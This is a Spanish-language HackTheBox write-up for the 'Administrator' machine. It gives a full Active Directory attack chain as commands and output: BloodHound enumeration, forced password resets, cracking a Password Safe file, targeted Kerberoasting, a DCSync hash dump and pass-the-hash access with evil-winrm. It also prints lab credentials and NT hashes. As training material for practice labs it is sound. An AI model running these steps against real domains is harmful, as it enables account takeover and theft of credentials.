Administrator – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Medium / Media
  • Platform / Plataforma: HackTheBox

Avatar administrator


Resumen Link to heading

“Administrator” es una máquina de dificultad Media de la plataforma HackTheBox. Se nos dan credenciales para comenzar esta máquina. La cuenta que se nos da tiene el permiso GenericAll sobre un primer usuario; lo que nos permite cambiar la contraseña para este primer usuario e impersonarlo. Una vez como este primer usuario, encontramos que también podemos cambiar la contraseña, ya como este primer usuario, de un segundo usuario. Volvemos a cambiar la contraseña de este segundo usuario y ganar acceso a éste. Este segundo usuario tiene acceso a recursos a través de un servicio FTP corriendo en la máquina víctima, el cual contenía un archivo de Password Safe cuyo hash pudimos extraer y crackear; impersonando así a un tercer usuario. Este tercer usuario tiene permisos GenericWrite sobre un cuarto usuario, lo que nos permite hacer a este cuarto usuario temporalmente Kerberoasteable, extraer su hash y crackearlo. Este cuarto usuario puede performar un ataque DCSync sobre el dominio, lo que nos permite extraer el hash NT del usuario Administrator y ganar control total del dominio.


User / Usuario Link to heading

Información
Se entregan credenciales para comenzar esta máquina: Olivia:ichliebedich

Empezamos con un rápido escaneo con Nmap revisando puertos TCP abiertos:

❯ sudo nmap -sS -p- --min-rate=5000 --open -n -Pn -vvv 10.10.11.42

Aplicamos algunos scripts de reconocimiento sobre estos peurtos usando la flag -sVC:

❯ sudo nmap -sVC -p21,53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49668,59777,59788,59793,59796,59812,62325 10.10.11.42

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 21:56 -03
Nmap scan report for 10.10.11.42
Host is up (0.34s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-12 07:56:46Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: administrator.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
59777/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
59788/tcp open  msrpc         Microsoft Windows RPC
59793/tcp open  msrpc         Microsoft Windows RPC
59796/tcp open  msrpc         Microsoft Windows RPC
59812/tcp open  msrpc         Microsoft Windows RPC
62325/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h00m05s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2024-11-12T07:57:47
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.69 seconds

Entre los puertos abiertos encontramos: 21 File Transfer Protocol (FTP), 53 DNS, 88 Kerberos, 135 Microsoft RPC, 389 LDAP, 445 SMB, 5985 WinRM; entre otro. Estos servicios nos hacen pensar que estamos ante un entorno de Active Directory.

Podemos obtener información acerca del servicio SMB usando la herramienta NetExec con la credencial dada:

❯ nxc smb 10.10.11.42 -u 'Olivia' -p 'ichliebedich'

SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\Olivia:ichliebedich

Podemos ver un dominio: administrator.htb y el nombre de máquina DC. Por ende, agregamos estos nombres (junto con el FQDN DC.administrator.htb) a nuestro archivo /etc/hosts:

❯ echo '10.10.11.42 DC administrator.htb DC.administrator.htb' | sudo tee -a /etc/hosts

Podemos intentar, por ejemplo, extraer usuarios del dominio usando el servicio Microsoft RPC junto con rpcclient:

❯ rpcclient -U "olivia%ichliebedich" 10.10.11.42 -c 'enumdomusers' | grep -o '\[.*\]' | sed 's/\[//;s/\]//' | awk -F 'rid' '{print $1}'

Administrator
Guest
krbtgt
olivia
michael
benjamin
emily
ethan
alexander
emma

Pero ninguno de estos usuarios es, por ejemplo, Kerberosteable. Por lo que no podemos extraer sus hashes.

En este punto dedicimos extraer información acerca del dominio utilizando la herramienta bloodhound-python y las credenciales dadas en un inicio:

❯ bloodhound-python -c ALL -u 'olivia' -p 'ichliebedich' -d administrator.htb -ns 10.10.11.42 --zip

INFO: Found AD domain: administrator.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.administrator.htb
INFO: Found 11 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.administrator.htb
INFO: Done in 00M 54S

Esto guardará un mapeo del dominio en un archivo .zip.

Subimos el archivo .zip generado a Bloodhound (más específicamente, a su Community Edition). Una vez subido, buscamos por el usuario olivia y, en la parte derecha, clickeamos en Outbound Object Control para ver potenciales permisos sobre otros usuarios; obteniendo así:

Administrator 1

Tenemos el permiso GenericAll sobre el usuario michael.

Una de las cosas que podemos hacer es tratar de cambiar la contraseña del usuario michael, dado que esta es una de las acciones que el permiso GenericAll nos permite hacer. No obstante, esto no lo recomiendo en entornos reales, sino que en entornos reales recomiendo más tratar de performar un ataque Shadow Credentials para extraer el hash NT del usuario.

Para cambiar la contraseña de el usuario objetivo podemos usar la herramienta impacket-changepasswd:

❯ impacket-changepasswd ADMINISTRATOR.HTB/michael@10.10.11.42 -newpass 'gunzf0x123$!' -altuser 'olivia' -altpass 'ichliebedich' -no-pass -reset

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Setting the password of ADMINISTRATOR.HTB\michael as ADMINISTRATOR.HTB\olivia
[*] Connecting to DCE/RPC as ADMINISTRATOR.HTB\olivia
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

Donde hemos cambiado la contraseña del usuario michael a gunzf0x123$!.

Nota
Cada cierto tiempo, hay una tarea reestableciendo la contraseña de los usuarios en el dominio a su estado original.

Corroboramos si la contraseña de este usuario ha sido cambiada exitosamente usando la herramienta NetExec:

❯ nxc smb 10.10.11.42 -u 'michael' -p 'gunzf0x123$!'

SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\michael:gunzf0x123$!

Funciona. Hemos cambiado la contraseña con éxito.

De vuelta a Bloodhound, buscando qué es lo que puede realizar el usuario michael nos entrega esta vez:

Administrator 2

Tenemos el derecho ForceChangePassword sobre el usuario benjamin; lo que significa que nuevamente podemos cambiar la contraseña de este usuario.

De manera similar a como hicimos anteriormente, cambiamos la contraseña de este usuario usando impacket-changepasswd, pero esta vez usando las credenciales del usuario michael:

❯ impacket-changepasswd ADMINISTRATOR.HTB/benjamin@10.10.11.42 -newpass 'gunzf0x123$!' -altuser 'michael' -altpass 'gunzf0x123$!' -no-pass -reset

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Setting the password of ADMINISTRATOR.HTB\benjamin as ADMINISTRATOR.HTB\michael
[*] Connecting to DCE/RPC as ADMINISTRATOR.HTB\michael
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

❯ nxc smb 10.10.11.42 -u 'benjamin' -p 'gunzf0x123$!'

SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\benjamin:gunzf0x123$!

Hemos cambiado exitosamente la contraseña del usuario benjamin.

Volvemos a Bloodhound para ver qué es lo que puede realizar de nuevo este usuario, pero no vemos privilegios nuevos (dado que no tenemos opciones en Outbound Object Control). Es entonces que buscamos por los grupos a los cuales este usuario pertenece. Entre ellos tenemos:

Administrator 3

Es parte del grupo Share Moderators, pero nada más allá de eso.

En este punto recordamos que el servicio FTP estaba corriendo en la máquina víctima. Si previamente nos tratábamos de autenticar ante este servicio como, por ejemplo, el usuario michael obteníamos:

❯ ftp 10.10.11.42

Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:gunzf0x): michael
331 Password required
Password:
530 

No podemos acceder. El usuario olivia tampoco puede acceder.

Pero como el usuario benjamin sí podemos acceder:

❯ ftp 10.10.11.42

Connected to 10.10.11.42.
220 Microsoft FTP Service
Name (10.10.11.42:gunzf0x): benjamin
331 Password required
Password:
230 User logged in.
Remote system type is Windows_NT.

ftp>

Enumerando qué recursos tenemos en este servicio podemos ver un archivo con extensión .psafe3. Lo descargamos:

ftp> ls

229 Entering Extended Passive Mode (|||55850|)
125 Data connection already open; Transfer starting.
10-05-24  08:13AM                  952 Backup.psafe3
226 Transfer complete.

ftp> get Backup.psafe3

local: Backup.psafe3 remote: Backup.psafe3
229 Entering Extended Passive Mode (|||55851|)
125 Data connection already open; Transfer starting.
100% |******************************************************************************************************************************|   952        1.99 KiB/s    00:00 ETA
226 Transfer complete.
WARNING! 3 bare linefeeds received in ASCII mode.
File may not have transferred correctly.
952 bytes received in 00:00 (1.32 KiB/s)
ftp>

Buscando qué es la extensión .psafe3 nos lleva a un software llamado Password Safe:

Información
Password Safe is a free, open-source program that helps users manage their passwords.
En corto, es un gestor de contraseñas open source.

Adicionalmente, encontramos esta documentación para JohnTheRipper la cual, afortunadamente, dice que tiene soporte para pasar archivos en formato .psafe3 a un formato crackeable con el comando pwsafe2john. Por lo que usamos este comando:

❯ pwsafe2john Backup.psafe3 > hash_backup

y tratamos de crackear el hash extraído usando john:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash_backup

Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
tekieromucho     (Backu)
1g 0:00:00:00 DONE (2024-11-12 00:19) 3.030g/s 15515p/s 15515c/s 15515C/s 123456..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Tenemos una contraseña: tekieromucho.

Podemos así instalar Password Safe para ver el contendio del archivo .psafe3. Basados en su repositorio oficial, éste nos redirige a una página de SourceForge.net donde dicen que podemos instalar la herramienta ejecutando sudo apt install passwordsafe. Una vez instalado, abrimos el archivo extraído pasando la contraseña crackeada para ver su contenido:

❯ pwsafe Backup.psafe3 &> /dev/null & disown

Se nos abre una nueva ventana:

Administrator 4

Haciendo doble click en el nombre de un usuario nos copia su contraseña en nuestro clipboard. Podemos guardar todas las contraseñas halladas en un archivo que llamamos passwords_in_backup.txt; cuyo contenido es de 3 contraseñas:

❯ cat passwords_in_backup.txt

UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
UXLCI5iETUsIBoFVTj8yQFKoHjXmb
WwANQWnmJnGV07WQN8bMS7FMAbjNur

Donde, de arriba a abajo, estas contraseñas pertenecen a los usuarios alexander, emily y emma, respectivamente.

Revisamos si estas credenciales son correctas con NetExec. Eventualmente, sólo una de estas combinaciónes funciona; para el usuario emily en específico:

❯ nxc smb 10.10.11.42 -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb

De vuelta a Bloodhound, podemos revisar qué es lo que puede realizar este tercer usuario. Este nuevo usuario tiene permisos GenericWrite sobre el usuario ethan:

Administrator 3

Un pequeño paréntesis, el usuario emily es parte del grupo Remote Management Users, por lo que este usuario debería de poder acceder a la máquina víctima a través del servicio WinRM. Esto lo corroboramos con NetExec nuevamente:

❯ nxc winrm 10.10.11.42 -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

WINRM       10.10.11.42     5985   DC               [*] Windows Server 2022 Build 20348 (name:DC) (domain:administrator.htb)
WINRM       10.10.11.42     5985   DC               [+] administrator.htb\emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb (Pwn3d!)

Pero en mi caso no lo requiero. La máquina se puede completar sin necesidad de entrar en ella.

Dado que tenemos el permiso GenericWrite sobre el usuario ethan podemos usar el script targetedKerberoast.py (el cual puede ser descargado desde su repositorio de Github) luego de instalarlo en un entorno virtual. Lo que este script hace es convertir temporalmente un usuario en un usuario vulnerable a Kerberoasting (no requiere pre-autenticación con Kerberos); y luego de extraer el hash del usuario víctima el script vuelve a dejar al usuario en su estado original. Sin embargo, al ejecutarlo tenemos un pequeño problema:

❯ sudo ntpdate -s 10.10.11.42 && python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --dc-ip 10.10.11.42 --request-user ethan

[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[!] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
Traceback (most recent call last):
  File "/home/gunzf0x/HTB/HTBMachines/Medium/Administrator/exploits/targetedKerberoast/targetedKerberoast.py", line 593, in main
    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=userName, password=args.auth_password, domain=args.auth_domain, lmhash=None, nthash=auth_nt_hash,
                                             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/gunzf0x/HTB/HTBMachines/Medium/Administrator/exploits/targetedKerberoast/.venv_targeted/lib/python3.12/site-packages/impacket/krb5/kerberosv5.py", line 323, in getKerberosTGT
    tgt = sendReceive(encoder.encode(asReq), domain, kdcHost)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/gunzf0x/HTB/HTBMachines/Medium/Administrator/exploits/targetedKerberoast/.venv_targeted/lib/python3.12/site-packages/impacket/krb5/kerberosv5.py", line 93, in sendReceive
    raise krbError
impacket.krb5.kerberosv5.KerberosError: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

Nuestro viejo amigo y error KRB_AP_ERR_SKEW(Clock skew too great) está de vuelta.

Por tanto, corremos un loop infinito en Bash el cual ejecuta el comando anterior hasta que el error ya no esté presente:

❯ while true; do sudo ntpdate -s 10.10.11.42; output=$(python3 targetedKerberoast.py -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb' --dc-ip 10.10.11.42 --request-user 'ethan'); echo "$output"; echo "$output" | grep -q "KRB_AP_ERR_SKEW" && { echo "[-] Detected clock skew error, retrying..."; } || { echo "[+] Commands succeeded, stopping the loop."; break; }; done

<SNIP>
[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[!] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] Detected clock skew error, retrying...
[*] Starting kerberoast attacks
[*] Attacking user (ethan)
[+] Printing hash for (ethan)
$krb5tgs$23$*ethan$ADMINISTRATOR.HTB$administrator.htb/ethan*$03d1fbdf05d6877b19eb298d86629491$4acb458c915618688433360e6389118ab925431d6f0dc0146c85a1b24efdea1998435383199e2b7c15f1d351d944be301e833eaab8c074751327bf8575b26f9357df92a964501c5ef2726a9c0a7a53ed22dd160f18684d2a04b620dca0f45213b9a8e1109d7bc2f06d714732110a565cfe53f1becf14a65a108c8e0535ba1ad8c030825513508980e96725164dd1425523771ee6f1e0786abaa34f2a111f080bcfdce57dcf373ebdc38e711b6b2561ff1e7088802e74a13e04b4b5ed947117a7ac673ab56c9d23b3bf30cb84516c9ac5286505474f83d0093c0a04c249f8df7fe2d161df58a1bd011f1df96fa35bec3d5e2ad97c54edfee6bbc92c0d19aa63da155edacf306fe8ae4982706e11f6928c4a6d01b61dc10202bdbb7b13f55e68cd77ea6e84a0f41fe85ae6989d105ba24720b9b7798bc9069fda3fbb3a908664e0d911c21eb3b08b70f7caae952b0660ceb315b1bbd56bb603ad32ada67e7ffe1044cf546960b55d395f4f926b601d6adcddce39c83d4010b03a784190d0919829c0a0feaf3c41cb95db1c10dfabb5853151ecdaa696ab7d9f019e7a0208f8d15ea4382a3591cf106db5e16a869fa6c75ee73fc971ea75b31897b5c097d1df3f9bbf1451d31c7738a6e6916acd2666a9d7064181c1fb5b7ffa12ab48f080a2db4cfa0c5c56a0636e0cc58c7ac1f48eca0b70b9e45e8289b568e88b34618fe73c6a53ae71b2a7f447f59530a8c5b660b89bc5508f785ef80797d7e782367efaf36672a7d3085a17eca13167a38b79611a5867f465f031a3179b5b7f189daddec48703dcda6c02fbb15cf66da3871516e820d5985f5f81cfeb6cebc6581bf177661306dfa8ade022e963ccf40ae4a8ff1a3ca2cb733361ac7d8a307ecc85a933e83edec4817addba0da410f17273f0520e68a3908de1b87cd20475062b66cfa7b1995f7e54de0a70ad36f4df9664bc31643a68fcd10bc0971bd6f04cb7c6473c47918697adf671a63ce741e82675fddcb02b3be7d2db81e05dd8a0acd583c3e7c53f09582ab704b886e55380cc088efe3ce2cb5a8ad28e76d8703f6655d0123e6366952d6a675ef3e0b645eb730d1b70d743c4cee37c09fcf626c5e3dcc2a2a0ec1f36b7afa75e520de67e4b66f08af6cce5c404769ffe32f76376d2a5b72b6d84b0eee4399330a36c0ae5e1041d192bacc8874d2f6e09daa9a26e9ca19dbe55dc26b17e19356f1a07f9ec6b22a4ed23eb080b85b7051fd4d1f8fd475400be9ad36883d96742b0e21a80335e7a97aa4d17c16b5a7d2d32962dad8d6f0f2c1e29ac4136c00606935542192d0795aaa4baf5747012ce8907f260c31c0c2efe3d7cf9baf11d32602b561db834a7f8053ae53d447ac09eb4dd2059bd4e3abbba76062865b57c1e8166f93355e8b0b9c6d754148e30bee42128cc62e41df041b4dc0320c568c0c74aa894cacd56f62e5240c73227addc64128c86fa318fc89ea31af7a4f5f22c75c239dd2fff9168c91b04b7075cd1c53be4f301050ba847712f1df8ba
[+] Commands succeeded, stopping the loop.

Obtenemos un hash.

Guardamos este nuevo hash en un archivo llamado ethan_hash y lo tratamos nuevamente de crackear con john:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt ethan_hash

Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
limpbizkit       (?)
1g 0:00:00:00 DONE (2024-11-12 01:53) 8.333g/s 42666p/s 42666c/s 42666C/s cheska..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña limpbizkit para el usuario ethan.

Revisamos, como es usual, si esta contraseña es válida con NetExec:

❯ nxc smb 10.10.11.42 -u 'ethan' -p 'limpbizkit'

SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\ethan:limpbizkit

Tenemos credenciales válidas para el usuario ethan.

Finalmente, de vuelta a nuestra consola con Bloodhound, revisamos qué es lo que puede realizar el usuario ethan:

Administrator 3

Básicamente, este usuario nos permite realizar un ataque DCSync, lo cual nos permite extraer todos los hashes del dominio.

Para ello usamos la herramienta impacket-secretsdump para extraer todos los hashes de la máquina DC:

 ❯ impacket-secretsdump ethan:'limpbizkit'@DC.administrator.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3dc553ce4b9fd20bd016e098d2d2fd2e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1181ba47d45fa2c76385a82409cbfaf6:::
administrator.htb\olivia:1108:aad3b435b51404eeaad3b435b51404ee:fbaa3e2294376dc0f5aeb6b41ffa52b7:::
administrator.htb\michael:1109:aad3b435b51404eeaad3b435b51404ee:2bce12d81490fd8721eab9d3c9dc14d7:::
administrator.htb\benjamin:1110:aad3b435b51404eeaad3b435b51404ee:2bce12d81490fd8721eab9d3c9dc14d7:::
administrator.htb\emily:1112:aad3b435b51404eeaad3b435b51404ee:eb200a2583a88ace2983ee5caa520f31:::
administrator.htb\ethan:1113:aad3b435b51404eeaad3b435b51404ee:5c2b9f97e0620c3d307de85a93179884:::
administrator.htb\alexander:3601:aad3b435b51404eeaad3b435b51404ee:cdc9e5f3b0631aa3600e0bfec00a0199:::
administrator.htb\emma:3602:aad3b435b51404eeaad3b435b51404ee:11ecd72c969a57c34c819b41b54455c9:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:cf411ddad4807b5b4a275d31caa1d4b3:::
[*] Kerberos keys grabbed
<SNIP>
DC$:aes128-cts-hmac-sha1-96:7068a4761df2f6c760ad9018c8bd206d
DC$:des-cbc-md5:f483547c4325492a
[*] Cleaning up...

Obtenemos los hashes NTLM para todos los usuarios del dominio, incluyendo los privilegiados.

Revisamos si el hash NT extraído para el usuario Administrator funciona:

❯ nxc smb 10.10.11.42 -u 'Administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e'

SMB         10.10.11.42     445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:administrator.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.42     445    DC               [+] administrator.htb\Administrator:3dc553ce4b9fd20bd016e098d2d2fd2e (Pwn3d!)

Funciona. GG.

Dado que el servicio WinRM estaba corriendo en la máquina víctima, podemos usarlo para conectarnos a través de éste como el usuario Administrator junto con la herramienta evil-winrm:

❯ evil-winrm -u 'Administrator' -H '3dc553ce4b9fd20bd016e098d2d2fd2e' -i 10.10.11.42

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>

Podemos obtener la flag de usuario en el Desktop del usuario emily y la flag de root en el Desktop del usuario Administrator.

~Happy Hacking.